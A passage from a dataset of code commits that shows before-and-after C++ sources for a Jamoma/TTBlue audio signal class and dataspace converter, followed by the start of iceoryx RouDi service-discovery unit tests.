TTAudioSignal::setVector32(const TTValue& v)\n{\n\tTTUInt16\t\tchannel;\n\tTTUInt16\t\tnewVectorSize;\n\tTTPtr\t\t\tnewVector;\n\t\n\tif(v.getSize() == 3){\n\t\tv.get(0, channel);\n\t\tv.get(1, newVectorSize);\n\t\tv.get(2, &newVector);\n\t\treturn setVector(channel, newVectorSize, (TTFloat32*)newVector);\n\t}\n\treturn kTTErrGeneric;\n}\n\n\nTTErr TTAudioSignal::getVector(const TTUInt16 channel, const TTUInt16 vectorSize, TTSampleVector returnedVector)\n{\n\treturnedVector = sampleVectors[channel];\n\treturn kTTErrNone;\n}\n\nTTErr TTAudioSignal::getVector64(TTValue& v)\n{\n\tTTUInt16\t\tchannel;\n\tTTUInt16\t\ttheVectorSize;\n\tTTPtr\t\t\treturnedVector;\n\t\n\tif(v.getSize() == 3){\n\t\tv.get(0, channel);\n\t\tv.get(1, theVectorSize);\n\t\tv.get(2, &returnedVector);\n\t\treturn setVector(channel, theVectorSize, TTSampleVector(returnedVector));\n\t}\n\treturn kTTErrGeneric;\n}\n\n\nTTErr TTAudioSignal::getVector(const TTUInt16 channel, const TTUInt16 theVectorSize, TTFloat32* returnedVector)\n{\n\tTTUInt16 i;\n\t\n\tfor(i=0; i<theVectorSize; i++)\n\t\treturnedVector[i] = (TTFloat32)sampleVectors[channel][i];\n\treturn kTTErrNone;\n}\n\nTTErr TTAudioSignal::getVector32(TTValue& v)\n{\n\tTTUInt16\t\tchannel;\n\tTTUInt16\t\ttheVectorSize;\n\tTTPtr\t\t\treturnedVector;\n\t\n\tif(v.getSize() == 3){\n\t\tv.get(0, channel);\n\t\tv.get(1, theVectorSize);\n\t\tv.get(2, &returnedVector);\n\t\treturn setVector(channel, theVectorSize, (TTFloat32*)returnedVector);\n\t}\n\treturn kTTErrGeneric;\n}\n\n\nTTErr TTAudioSignal::alloc()\n{\n\tTTUInt32\ti;\n\tif(isLocallyOwned){\n\t\tfor(i=0; i<maxNumChannels; i++){\n\t\t\tfree(sampleVectors[i]);\n\t\t\tsampleVectors[i] = NULL;\n\t\t}\n\t}\n\n\tfor(i=0; i<maxNumChannels; i++) {\n\t\tsampleVectors[i] = (TTSampleVector)malloc(sizeof(TTSampleValue) * vectorSize);\n\t}\n\tisLocallyOwned = maxNumChannels > 0 ? true : false;\n\treturn kTTErrNone;\n}\n\n\nTTErr TTAudioSignal::allocWithVectorSize(const TTUInt16 newVectorSize)\n{\n\tif(newVectorSize != vectorSize){\n\t\tvectorSize = newVectorSize;\n\t\treturn alloc();\n\t}\n\telse\n\t\treturn kTTErrNone;\n}\n\nTTErr TTAudioSignal::allocWithNewVectorSize(const TTValue& newVectorSize)\n{\n\treturn allocWithVectorSize(TTUInt16(newVectorSize));\n}\n\n\nTTUInt16 TTAudioSignal::getMinChannelCount(const TTAudioSignal& signal1, const TTAudioSignal& signal2)\n{\n\tif(signal1.numChannels > signal2.numChannels)\n\t\treturn signal2.numChannels;\n\telse\n\t\treturn signal1.numChannels;\n}\n\n\nTTUInt16 TTAudioSignal::getMinChannelCount(const TTAudioSignal& signal1, const TTAudioSignal& signal2, const TTAudioSignal& signal3)\n{\n\tTTUInt16\tnumChannels = signal1.numChannels;\n\t\n\tif(signal2.numChannels < numChannels)\n\t\tnumChannels = signal2.numChannels;\n\tif(signal3.numChannels < numChannels)\n\t\tnumChannels = signal3.numChannels;\n\t\n\treturn numChannels;\n}\n\n\n\nTTUInt16 TTAudioSignal::getMaxChannelCount(const TTAudioSignal& signal1, const TTAudioSignal& signal2)\n{\n\tif(signal1.numChannels < signal2.numChannels)\n\t\treturn signal2.numChannels;\n\telse\n\t\treturn signal1.numChannels;\n}\n\nTTUInt16 TTAudioSignal::getMaxChannelCount(const TTAudioSignal& signal1, const TTAudioSignal& signal2, const TTAudioSignal& signal3)\n{\n\tTTUInt16\tnumChannels = signal1.numChannels;\n\t\n\tif(signal2.numChannels > numChannels)\n\t\tnumChannels = signal2.numChannels;\n\tif(signal3.numChannels > numChannels)\n\t\tnumChannels = signal3.numChannels;\n\t\n\treturn numChannels;\n}\n\n\nTTUInt16 TTAudioSignal::getNumChannels(const TTAudioSignal& signal)\n{\n\treturn signal.numChannels;\n}\n\n\n\n\/\/ TODO: The old tt audio signal could point to external memory, or allocate its own for the vectors\n\/\/ This enum was used to keep trac of which was the case:\n\/\/ enum selectors{\n\/\/\tk_mode_local = 1,\n\/\/\tk_mode_external = 0,\n\/\/};\n\n\n\/\/ TODO: implement clear() method -- ZERO OUT A VECTOR'S CONTENTS\nTTErr TTAudioSignal::clear()\n{\n\tTTUInt8\t\tchannel;\n\tTTUInt16\ti;\n\t\n\tif(!sampleVectors)\n\t\treturn kTTErrGeneric;\n\t\t\n\tfor(channel=0; channel<numChannels; channel++){\n\t\tfor(i=0; i<vectorSize; i++)\n\t\t\tsampleVectors[channel][i] = 0.0;\n\t}\n\treturn kTTErrNone;\n}\n\t\t\n\t\t\n\/\/ TODO: implement fill() method --- SET ALL VALUES IN THE SIGNAL TO A CONSTANT\n\n\n<commit_msg>Addressing a shadowed variable warning.<commit_after>\/* \n * TTBlue Audio Signal Class\n * Copyright © 2008, Timothy Place\n * \n * License: This code is licensed under the terms of the GNU LGPL\n * http:\/\/www.gnu.org\/licenses\/lgpl.html \n *\/\n\n#include \"TTAudioSignal.h\"\n#define thisTTClass TTAudioSignal\n\n\n\/****************************************************************************************************\/\n\nTTAudioSignal::TTAudioSignal(const TTUInt16 initialMaxNumChannels)\n \t: TTObject(\"audiosignal\"), isLocallyOwned(false), maxNumChannels(0), vectorSize(0), numChannels(0), sampleVectors(NULL)\n{\n\tregisterAttributeWithSetter(vectorSize, kTypeUInt16);\n\tregisterAttributeWithSetter(numChannels, kTypeUInt16);\n\tregisterAttributeWithSetter(maxNumChannels, kTypeUInt16);\n\tregisterAttributeSimple(bitdepth, kTypeUInt8);\n\taddAttributeProperty(bitdepth, readOnly, kTTVal1);\n\t\n\tregisterMessageSimple(clear);\n\tregisterMessageSimple(alloc);\n\tregisterMessageWithArgument(allocWithNewVectorSize);\n\tregisterMessageWithArgument(setVector32);\n\tregisterMessageWithArgument(getVector32);\n\tregisterMessageWithArgument(setVector64);\n\tregisterMessageWithArgument(getVector64);\n\t\n\t\n\tsetAttributeValue(TT(\"maxNumChannels\"), initialMaxNumChannels);\n\tsetAttributeValue(TT(\"numChannels\"), initialMaxNumChannels);\n}\n\n\nTTAudioSignal::~TTAudioSignal()\n{\n\tchuck();\n}\n\n\nvoid TTAudioSignal::chuck()\n{\n\tTTUInt32\ti;\n\t\n\tif(isLocallyOwned){\n\t\tfor(i=0; i<maxNumChannels; i++){\n\t\t\tfree(sampleVectors[i]);\n\t\t\tsampleVectors[i] = NULL;\n\t\t}\n\t\tisLocallyOwned = false;\n\t}\n\tfree(sampleVectors);\n\tmaxNumChannels = 0;\n\tsampleVectors = NULL;\n}\n\n\nTTErr TTAudioSignal::setmaxNumChannels(const TTValue& newMaxNumChannels)\n{\n\tTTUInt32\ti;\n\n\tchuck();\n\tmaxNumChannels = newMaxNumChannels;\n\tif(maxNumChannels) {\n\t\tsampleVectors = (TTSampleVector *)malloc(sizeof(TTSampleVector) * maxNumChannels);\n\t\tfor(i=0; i<maxNumChannels; i++)\n\t\t\tsampleVectors[i] = NULL;\n\t}\n\treturn kTTErrNone;\n}\n\n\nTTErr TTAudioSignal::setVector(const TTUInt16 channel, const TTUInt16 newVectorSize, const TTSampleVector newVector)\n{\n\tTTUInt32\ti;\n\t\n\t\/\/ could check against maxnumchannels here\n\t\n\tbitdepth = 64;\n\tvectorSize = newVectorSize;\n\t\n\tif(isLocallyOwned){\n\t\tfor(i=0; i<maxNumChannels; i++){\n\t\t\tfree(sampleVectors[i]);\n\t\t\tsampleVectors[i] = NULL;\n\t\t}\n\t\tisLocallyOwned = false;\n\t}\n\tsampleVectors[channel] = newVector;\n\treturn kTTErrNone;\n}\n\nTTErr TTAudioSignal::setVector64(const TTValue& v)\n{\n\tTTUInt16\t\tchannel;\n\tTTUInt16\t\tnewVectorSize;\n\tTTPtr\t\t\tnewVector;\n\t\n\tif(v.getSize() == 3){\n\t\tv.get(0, channel);\n\t\tv.get(1, newVectorSize);\n\t\tv.get(2, &newVector);\n\t\treturn setVector(channel, newVectorSize, TTSampleVector(newVector));\n\t}\n\treturn kTTErrGeneric;\n}\n\n\n\/*\n\tIt sucks if someone sets a 32-bit audio vector, since we have translate it into a 64-bit buffer.\n\tThere may be a better way to do this...\n\t\n\tFor now, we don't simply reference the data passed in. Instead we allocate our own buffer and copy the data.\n\tUnfortunately, this is very slow.\n\t\n\tAlso note that we are relying on the vector size already being set!\n\t\n\tIf we passed the vs in to this method, we could avoid having to realloc the memory every single time.\n\tThis would probably be a very good idea.\n*\/\nTTErr TTAudioSignal::setVector(const TTUInt16 channel, const TTUInt16 newVectorSize, const TTFloat32* newVector)\n{\n\tTTUInt32\ti;\n\t\n\t\/\/ 1. could check against maxnumchannels here\n\n\t\/\/ 2. allocate the vector if need be\n\tif(bitdepth != 32 || !isLocallyOwned || newVectorSize != vectorSize)\n\t{\n\t\tbitdepth = 32;\n\t\tvectorSize = newVectorSize;\n\t\talloc();\n\t}\n\t\n\t\/\/ 3. copy the vector (from 32-bits to 64-bits)\n\tfor(i=0; i<vectorSize; i++)\n\t\tsampleVectors[channel][i] = newVector[i];\n\t\n\treturn kTTErrNone;\n}\n\nTTErr TTAudioSignal::setVector32(const TTValue& v)\n{\n\tTTUInt16\t\tchannel;\n\tTTUInt16\t\tnewVectorSize;\n\tTTPtr\t\t\tnewVector;\n\t\n\tif(v.getSize() == 3){\n\t\tv.get(0, channel);\n\t\tv.get(1, newVectorSize);\n\t\tv.get(2, &newVector);\n\t\treturn setVector(channel, newVectorSize, (TTFloat32*)newVector);\n\t}\n\treturn kTTErrGeneric;\n}\n\n\nTTErr TTAudioSignal::getVector(const TTUInt16 channel, const TTUInt16 returnedVectorSize, TTSampleVector returnedVector)\n{\n\treturnedVector = sampleVectors[channel];\n\treturn kTTErrNone;\n}\n\nTTErr TTAudioSignal::getVector64(TTValue& v)\n{\n\tTTUInt16\t\tchannel;\n\tTTUInt16\t\ttheVectorSize;\n\tTTPtr\t\t\treturnedVector;\n\t\n\tif(v.getSize() == 3){\n\t\tv.get(0, channel);\n\t\tv.get(1, theVectorSize);\n\t\tv.get(2, &returnedVector);\n\t\treturn setVector(channel, theVectorSize, TTSampleVector(returnedVector));\n\t}\n\treturn kTTErrGeneric;\n}\n\n\nTTErr TTAudioSignal::getVector(const TTUInt16 channel, const TTUInt16 theVectorSize, TTFloat32* returnedVector)\n{\n\tTTUInt16 i;\n\t\n\tfor(i=0; i<theVectorSize; i++)\n\t\treturnedVector[i] = (TTFloat32)sampleVectors[channel][i];\n\treturn kTTErrNone;\n}\n\nTTErr TTAudioSignal::getVector32(TTValue& v)\n{\n\tTTUInt16\t\tchannel;\n\tTTUInt16\t\ttheVectorSize;\n\tTTPtr\t\t\treturnedVector;\n\t\n\tif(v.getSize() == 3){\n\t\tv.get(0, channel);\n\t\tv.get(1, theVectorSize);\n\t\tv.get(2, &returnedVector);\n\t\treturn setVector(channel, theVectorSize, (TTFloat32*)returnedVector);\n\t}\n\treturn kTTErrGeneric;\n}\n\n\nTTErr TTAudioSignal::alloc()\n{\n\tTTUInt32\ti;\n\tif(isLocallyOwned){\n\t\tfor(i=0; i<maxNumChannels; i++){\n\t\t\tfree(sampleVectors[i]);\n\t\t\tsampleVectors[i] = NULL;\n\t\t}\n\t}\n\n\tfor(i=0; i<maxNumChannels; i++) {\n\t\tsampleVectors[i] = (TTSampleVector)malloc(sizeof(TTSampleValue) * vectorSize);\n\t}\n\tisLocallyOwned = maxNumChannels > 0 ? true : false;\n\treturn kTTErrNone;\n}\n\n\nTTErr TTAudioSignal::allocWithVectorSize(const TTUInt16 newVectorSize)\n{\n\tif(newVectorSize != vectorSize){\n\t\tvectorSize = newVectorSize;\n\t\treturn alloc();\n\t}\n\telse\n\t\treturn kTTErrNone;\n}\n\nTTErr TTAudioSignal::allocWithNewVectorSize(const TTValue& newVectorSize)\n{\n\treturn allocWithVectorSize(TTUInt16(newVectorSize));\n}\n\n\nTTUInt16 TTAudioSignal::getMinChannelCount(const TTAudioSignal& signal1, const TTAudioSignal& signal2)\n{\n\tif(signal1.numChannels > signal2.numChannels)\n\t\treturn signal2.numChannels;\n\telse\n\t\treturn signal1.numChannels;\n}\n\n\nTTUInt16 TTAudioSignal::getMinChannelCount(const TTAudioSignal& signal1, const TTAudioSignal& signal2, const TTAudioSignal& signal3)\n{\n\tTTUInt16\tnumChannels = signal1.numChannels;\n\t\n\tif(signal2.numChannels < numChannels)\n\t\tnumChannels = signal2.numChannels;\n\tif(signal3.numChannels < numChannels)\n\t\tnumChannels = signal3.numChannels;\n\t\n\treturn numChannels;\n}\n\n\n\nTTUInt16 TTAudioSignal::getMaxChannelCount(const TTAudioSignal& signal1, const TTAudioSignal& signal2)\n{\n\tif(signal1.numChannels < signal2.numChannels)\n\t\treturn signal2.numChannels;\n\telse\n\t\treturn signal1.numChannels;\n}\n\nTTUInt16 TTAudioSignal::getMaxChannelCount(const TTAudioSignal& signal1, const TTAudioSignal& signal2, const TTAudioSignal& signal3)\n{\n\tTTUInt16\tnumChannels = signal1.numChannels;\n\t\n\tif(signal2.numChannels > numChannels)\n\t\tnumChannels = signal2.numChannels;\n\tif(signal3.numChannels > numChannels)\n\t\tnumChannels = signal3.numChannels;\n\t\n\treturn numChannels;\n}\n\n\nTTUInt16 TTAudioSignal::getNumChannels(const TTAudioSignal& signal)\n{\n\treturn signal.numChannels;\n}\n\n\n\n\/\/ TODO: The old tt audio signal could point to external memory, or allocate its own for the vectors\n\/\/ This enum was used to keep trac of which was the case:\n\/\/ enum selectors{\n\/\/\tk_mode_local = 1,\n\/\/\tk_mode_external = 0,\n\/\/};\n\n\n\/\/ TODO: implement clear() method -- ZERO OUT A VECTOR'S CONTENTS\nTTErr TTAudioSignal::clear()\n{\n\tTTUInt8\t\tchannel;\n\tTTUInt16\ti;\n\t\n\tif(!sampleVectors)\n\t\treturn kTTErrGeneric;\n\t\t\n\tfor(channel=0; channel<numChannels; channel++){\n\t\tfor(i=0; i<vectorSize; i++)\n\t\t\tsampleVectors[channel][i] = 0.0;\n\t}\n\treturn kTTErrNone;\n}\n\t\t\n\t\t\n\/\/ TODO: implement fill() method --- SET ALL VALUES IN THE SIGNAL TO A CONSTANT\n\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Jamoma Dataspace Library\n * Copyright © 2007\n *\n * License: This code is licensed under the terms of the \"New BSD License\"\n * http:\/\/creativecommons.org\/licenses\/BSD\/\n *\/\n\n#include \"TTDataspaceConverter.h\"\n\n#define thisTTClass\t\t\tTTDataspaceConverter\n#define thisTTClassName\t\t\"dataspace\"\n#define thisTTClassTags\t\t\"dataspace.converter\"\n\n\nTT_OBJECT_CONSTRUCTOR,\n\tmDataspaceTTObject(NULL),\n\tmDataspaceObject(NULL)\n{\n\taddAttributeWithSetter(Dataspace, kTypeSymbol);\n\taddAttributeWithGetterAndSetter(InputUnit, kTypeSymbol);\n\taddAttributeWithGetterAndSetter(OutputUnit, kTypeSymbol);\n\n\taddMessageWithArgument(dictionary);\n\taddMessageWithArgument(convert);\n\t\n\taddMessageWithArgument(getAvailableUnits);\n\taddMessageWithArgument(getAvailableDataspaces);\n\t\n\tsetAttributeValue(TT(\"dataspace\"), TT(\"none\"));\n}\n\n\nTTDataspaceConverter::~TTDataspaceConverter()\n{\n\tTTObjectRelease((TTObjectPtr*)&mDataspaceTTObject);\n}\n\n\nTTErr TTDataspaceConverter::setDataspace(const TTValue& newValue)\n{\n\tTTSymbolPtr\t\tname;\n\tTTErr\t\t\terr;\n\tTTString\t\tobjectName = \"dataspace.\";\n\t\n\tnewValue.get(0, &name);\n\t\n\t\/\/ TODO: validate the name provided before proceeding\n\tobjectName += name->getString();\n\terr = TTObjectInstantiate(TT(objectName.c_str()), &mDataspaceTTObject, kTTValNONE);\n\tif (err) {\n \/\/ Rather than crashing:\n \/\/throw TTException(\"Error trying to load dataspace with that name\");\n \/\/ we set it to \"none\" and post an error message to the log\n TTLogError(\"Error trying to load %s, set to none\\n\", objectName.c_str());\n objectName = \"dataspace.none\";\n TTObjectInstantiate(TT(objectName.c_str()), &mDataspaceTTObject, kTTValNONE);\n }\n\tmDataspaceObject = dynamic_cast<TTDataspacePtr>(mDataspaceTTObject);\n\tmDataspace = name;\n\t\n\treturn err;\n}\n\n\nTTErr TTDataspaceConverter::convert(TTValue& io)\n{\n\tTTValue\toutput;\n\tTTErr\terr;\n\t\n\terr = mDataspaceObject->convert(io, output);\n\tio = output;\n\t\n\treturn err;\n}\n\n\nTTErr TTDataspaceConverter::dictionary(TTValue& input)\n{\n\tTTDictionaryPtr\td = NULL;\n\tTTValue\t\t\tv;\n\tTTErr\t\t\terr;\n\t\n\tinput.get(0, (TTPtr*)(&d));\n\td->getValue(v);\n\terr = convert(v);\n\td->setValue(v);\n\t\n\treturn err;\n}\n\n\nTTErr TTDataspaceConverter::getInputUnit(TTValue& inUnitName)\n{\n\tinUnitName = mDataspaceObject->getInputUnit();\n\treturn kTTErrNone;\n}\n\n\nTTErr TTDataspaceConverter::setInputUnit(const TTValue& inUnitName)\n{\n\treturn mDataspaceObject->setInputUnit(inUnitName);\n}\n\n\nTTErr TTDataspaceConverter::getOutputUnit(TTValue& outUnitName)\n{\n\toutUnitName = mDataspaceObject->getOutputUnit();\n\treturn kTTErrNone;\n}\n\n\nTTErr TTDataspaceConverter::setOutputUnit(const TTValue& outUnitName)\n{\n\treturn mDataspaceObject->setOutputUnit(outUnitName);\n}\n\n\nTTErr TTDataspaceConverter::getAvailableUnits(TTValue& unitNames)\n{\n\treturn mDataspaceObject->getAvailableUnits(unitNames);\n}\n\n\nTTErr TTDataspaceConverter::getAvailableDataspaces(TTValue& dataspaceNames)\n{\n\tTTErr err;\n\t\n\terr = TTGetRegisteredClassNamesForTags(dataspaceNames, TT(\"dataspace\"));\n\tif (!err) {\n\t\t\/\/ strip the leading \"dataspace.\" prefix off all the names\n\t\tfor (int i=0; i < dataspaceNames.getSize(); i++) {\n\t\t\tTTSymbolPtr s;\n\t\t\tTTString\tstr;\n\t\t\t\n\t\t\tdataspaceNames.get(i, &s);\n\t\t\tstr = s->getString();\n\t\t\tstr.erase(0, 10);\n\t\t\ts = TT(str);\n\t\t\tdataspaceNames.set(i, s);\n\t\t}\n\t}\n\treturn err;\n}\n\n<commit_msg>windows: replacing getString with getCString in TTDataspaceConverter.cpp to prevent crashes<commit_after>\/*\n * Jamoma Dataspace Library\n * Copyright © 2007\n *\n * License: This code is licensed under the terms of the \"New BSD License\"\n * http:\/\/creativecommons.org\/licenses\/BSD\/\n *\/\n\n#include \"TTDataspaceConverter.h\"\n\n#define thisTTClass\t\t\tTTDataspaceConverter\n#define thisTTClassName\t\t\"dataspace\"\n#define thisTTClassTags\t\t\"dataspace.converter\"\n\n\nTT_OBJECT_CONSTRUCTOR,\n\tmDataspaceTTObject(NULL),\n\tmDataspaceObject(NULL)\n{\n\taddAttributeWithSetter(Dataspace, kTypeSymbol);\n\taddAttributeWithGetterAndSetter(InputUnit, kTypeSymbol);\n\taddAttributeWithGetterAndSetter(OutputUnit, kTypeSymbol);\n\n\taddMessageWithArgument(dictionary);\n\taddMessageWithArgument(convert);\n\t\n\taddMessageWithArgument(getAvailableUnits);\n\taddMessageWithArgument(getAvailableDataspaces);\n\t\n\tsetAttributeValue(TT(\"dataspace\"), TT(\"none\"));\n}\n\n\nTTDataspaceConverter::~TTDataspaceConverter()\n{\n\tTTObjectRelease((TTObjectPtr*)&mDataspaceTTObject);\n}\n\n\nTTErr TTDataspaceConverter::setDataspace(const TTValue& newValue)\n{\n\tTTSymbolPtr\t\tname;\n\tTTErr\t\t\terr;\n\tTTString\t\tobjectName = \"dataspace.\";\n\t\n\tnewValue.get(0, &name);\n\t\n\t\/\/ TODO: validate the name provided before proceeding\n\tobjectName += name->getString();\n\terr = TTObjectInstantiate(TT(objectName.c_str()), &mDataspaceTTObject, kTTValNONE);\n\tif (err) {\n \/\/ Rather than crashing:\n \/\/throw TTException(\"Error trying to load dataspace with that name\");\n \/\/ we set it to \"none\" and post an error message to the log\n TTLogError(\"Error trying to load %s, set to none\\n\", objectName.c_str());\n objectName = \"dataspace.none\";\n TTObjectInstantiate(TT(objectName.c_str()), &mDataspaceTTObject, kTTValNONE);\n }\n\tmDataspaceObject = dynamic_cast<TTDataspacePtr>(mDataspaceTTObject);\n\tmDataspace = name;\n\t\n\treturn err;\n}\n\n\nTTErr TTDataspaceConverter::convert(TTValue& io)\n{\n\tTTValue\toutput;\n\tTTErr\terr;\n\t\n\terr = mDataspaceObject->convert(io, output);\n\tio = output;\n\t\n\treturn err;\n}\n\n\nTTErr TTDataspaceConverter::dictionary(TTValue& input)\n{\n\tTTDictionaryPtr\td = NULL;\n\tTTValue\t\t\tv;\n\tTTErr\t\t\terr;\n\t\n\tinput.get(0, (TTPtr*)(&d));\n\td->getValue(v);\n\terr = convert(v);\n\td->setValue(v);\n\t\n\treturn err;\n}\n\n\nTTErr TTDataspaceConverter::getInputUnit(TTValue& inUnitName)\n{\n\tinUnitName = mDataspaceObject->getInputUnit();\n\treturn kTTErrNone;\n}\n\n\nTTErr TTDataspaceConverter::setInputUnit(const TTValue& inUnitName)\n{\n\treturn mDataspaceObject->setInputUnit(inUnitName);\n}\n\n\nTTErr TTDataspaceConverter::getOutputUnit(TTValue& outUnitName)\n{\n\toutUnitName = mDataspaceObject->getOutputUnit();\n\treturn kTTErrNone;\n}\n\n\nTTErr TTDataspaceConverter::setOutputUnit(const TTValue& outUnitName)\n{\n\treturn mDataspaceObject->setOutputUnit(outUnitName);\n}\n\n\nTTErr TTDataspaceConverter::getAvailableUnits(TTValue& unitNames)\n{\n\treturn mDataspaceObject->getAvailableUnits(unitNames);\n}\n\n\nTTErr TTDataspaceConverter::getAvailableDataspaces(TTValue& dataspaceNames)\n{\n\tTTErr err;\n\t\n\terr = TTGetRegisteredClassNamesForTags(dataspaceNames, TT(\"dataspace\"));\n\tif (!err) {\n\t\t\/\/ strip the leading \"dataspace.\" prefix off all the names\n\t\tfor (int i=0; i < dataspaceNames.getSize(); i++) {\n\t\t\tTTSymbolPtr s;\n\t\t\t\/\/TTString\tstr;\n\t\t\tconst char* cStr;\n\t\t\t\n\t\t\tdataspaceNames.get(i, &s);\n\t\t\t\/* \n\t\t\tstr = s->getString();\t\/\/ this causes crashes on Windows, need to use C string instead\n\t\t\tstr.erase(0, 10);\n\t\t\t*\/\n\t\t\tcStr = s->getCString() + 10;\n\t\t\ts = TT(cStr);\n\t\t\tdataspaceNames.set(i, s);\n\t\t}\n\t}\n\treturn err;\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2019 by Robert Bosch GmbH. All rights reserved.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"test_roudi_service_discovery.hpp\"\n\nclass RoudiFindService_test : public RouDiServiceDiscoveryTest\n{\n public:\n void SetUp()\n {\n }\n\n void TearDown()\n {\n }\n\n iox::runtime::PoshRuntime* senderRuntime{&iox::runtime::PoshRuntime::getInstance(\"\/sender\")};\n iox::runtime::PoshRuntime* receiverRuntime{&iox::runtime::PoshRuntime::getInstance(\"\/receiver\")};\n};\n\nTEST_F(RoudiFindService_test, OfferSingleMethodServiceSingleInstance)\n{\n senderRuntime->offerService({\"service1\", \"instance1\"});\n this->InterOpWait();\n iox::runtime::InstanceContainer instanceContainer;\n receiverRuntime->findService({\"service1\", \"instance1\"}, instanceContainer);\n\n ASSERT_THAT(instanceContainer.size(), Eq(1u));\n ASSERT_THAT(*instanceContainer.begin(), Eq(IdString(\"instance1\")));\n}\n\n\n\/\/\/@todo #359 offereService should return bool signalling success\/failure\nTEST_F(RoudiFindService_test, DISABLED_OfferServiceWithDefaultServiceDescriptionFails)\n{\n iox::runtime::InstanceContainer instanceContainer;\n bool isServiceOffered;\n\n \/\/\/@todo #359 offerService should not allow invalid ServiceDescriptions\n \/\/ isServiceOffered = senderRuntime->offerService(iox::capro::ServiceDescription());\n this->InterOpWait();\n\n ASSERT_EQ(false, isServiceOffered);\n}\n\nTEST_F(RoudiFindService_test, ReofferedServiceWithValidServiceDescriptionCanBeFound)\n{\n iox::runtime::InstanceContainer instanceContainer;\n senderRuntime->offerService({\"service1\", \"instance1\"});\n this->InterOpWait();\n senderRuntime->stopOfferService({\"service1\", \"instance1\"});\n this->InterOpWait();\n senderRuntime->offerService({\"service1\", \"instance1\"});\n this->InterOpWait();\n\n receiverRuntime->findService({\"service1\", \"instance1\"}, instanceContainer);\n\n ASSERT_THAT(instanceContainer.size(), Eq(1u));\n ASSERT_THAT(*instanceContainer.begin(), Eq(IdString(\"instance1\")));\n}\n\nTEST_F(RoudiFindService_test, OfferExsistingServiceMultipleTimesIsRedundant)\n{\n InstanceContainer instanceContainer;\n senderRuntime->offerService({\"service1\", \"instance1\"});\n this->InterOpWait();\n senderRuntime->offerService({\"service1\", \"instance1\"});\n this->InterOpWait();\n\n receiverRuntime->findService({\"service1\", \"instance1\"}, instanceContainer);\n\n ASSERT_THAT(instanceContainer.size(), Eq(1u));\n ASSERT_THAT(*instanceContainer.begin(), Eq(IdString(\"instance1\")));\n}\n\n\/\/\/@todo #387 findService to return InstanceContainer directly\nTEST_F(RoudiFindService_test, DISABLED_FindSameServiceMultipleTimesReturnsSingleInstance)\n{\n InstanceContainer instanceContainer;\n senderRuntime->offerService({\"service1\", \"instance1\"});\n this->InterOpWait();\n\n receiverRuntime->findService({\"service1\", \"instance1\"}, instanceContainer);\n this->InterOpWait();\n\n ASSERT_THAT(instanceContainer.size(), Eq(1u));\n ASSERT_THAT(instanceContainer.at(0), Eq(IdString(\"instance1\")));\n\n receiverRuntime->findService({\"service1\", \"instance1\"}, instanceContainer);\n this->InterOpWait();\n\n ASSERT_THAT(instanceContainer.size(), Eq(1u));\n ASSERT_THAT(instanceContainer.at(0), Eq(IdString(\"instance1\")));\n}\n\nTEST_F(RoudiFindService_test, DISABLED_OfferMultiMethodServiceSingleInstance_PERFORMANCETEST42)\n{\n senderRuntime->offerService({\"service1\", \"instance1\"});\n senderRuntime->offerService({\"service2\", \"instance1\"});\n senderRuntime->offerService({\"service3\", \"instance1\"});\n\n this->InterOpWait();\n iox::runtime::InstanceContainer instanceContainer;\n\n receiverRuntime->findService({\"service1\", \"instance1\"}, instanceContainer);\n ASSERT_THAT(instanceContainer.size(), Eq(1u));\n ASSERT_THAT(*instanceContainer.begin(), Eq(IdString(\"instance1\")));\n\n instanceContainer.clear();\n receiverRuntime->findService({\"service2\", \"instance1\"}, instanceContainer);\n ASSERT_THAT(instanceContainer.size(), Eq(1u));\n ASSERT_THAT(*instanceContainer.begin(), Eq(IdString(\"instance1\")));\n\n instanceContainer.clear();\n receiverRuntime->findService({\"service3\", \"instance1\"}, instanceContainer);\n ASSERT_THAT(instanceContainer.size(), Eq(1u));\n ASSERT_THAT(*instanceContainer.begin(), Eq(IdString(\"instance1\")));\n}\n\nTEST_F(RoudiFindService_test, SubscribeAnyInstance)\n{\n senderRuntime->offerService({\"service1\", \"instance1\"});\n senderRuntime->offerService({\"service1\", \"instance2\"});\n senderRuntime->offerService({\"service1\", \"instance3\"});\n\n this->InterOpWait();\n InstanceContainer instanceContainer;\n InstanceContainer instanceContainerExp;\n InitContainer(instanceContainerExp, {\"instance1\", \"instance2\", \"instance3\"});\n\n receiverRuntime->findService({\"service1\", \"65535\"}, instanceContainer);\n\n ASSERT_THAT(instanceContainer.size(), Eq(3u));\n EXPECT_TRUE(instanceContainer == instanceContainerExp);\n}\n\nTEST_F(RoudiFindService_test, OfferSingleMethodServiceMultiInstance)\n{\n senderRuntime->offerService({\"service1\", \"instance1\"});\n senderRuntime->offerService({\"service1\", \"instance2\"});\n senderRuntime->offerService({\"service1\", \"instance3\"});\n this->InterOpWait();\n\n iox::runtime::InstanceContainer instanceContainer;\n receiverRuntime->findService({\"service1\", \"instance1\"}, instanceContainer);\n ASSERT_THAT(instanceContainer.size(), Eq(1u));\n ASSERT_THAT(*instanceContainer.begin(), Eq(IdString(\"instance1\")));\n\n instanceContainer.clear();\n receiverRuntime->findService({\"service1\", \"instance2\"}, instanceContainer);\n ASSERT_THAT(instanceContainer.size(), Eq(1u));\n ASSERT_THAT(*instanceContainer.begin(), Eq(IdString(\"instance2\")));\n\n instanceContainer.clear();\n receiverRuntime->findService({\"service1\", \"instance3\"}, instanceContainer);\n ASSERT_THAT(instanceContainer.size(), Eq(1u));\n ASSERT_THAT(*instanceContainer.begin(), Eq(IdString(\"instance3\")));\n}\n\nTEST_F(RoudiFindService_test, OfferMultiMethodServiceMultiInstance)\n{\n senderRuntime->offerService({\"service1\", \"instance1\"});\n senderRuntime->offerService({\"service1\", \"instance2\"});\n senderRuntime->offerService({\"service1\", \"instance3\"});\n senderRuntime->offerService({\"service2\", \"instance1\"});\n senderRuntime->offerService({\"service2\", \"instance2\"});\n senderRuntime->offerService({\"service2\", \"instance3\"});\n this->InterOpWait();\n\n iox::runtime::InstanceContainer instanceContainer;\n 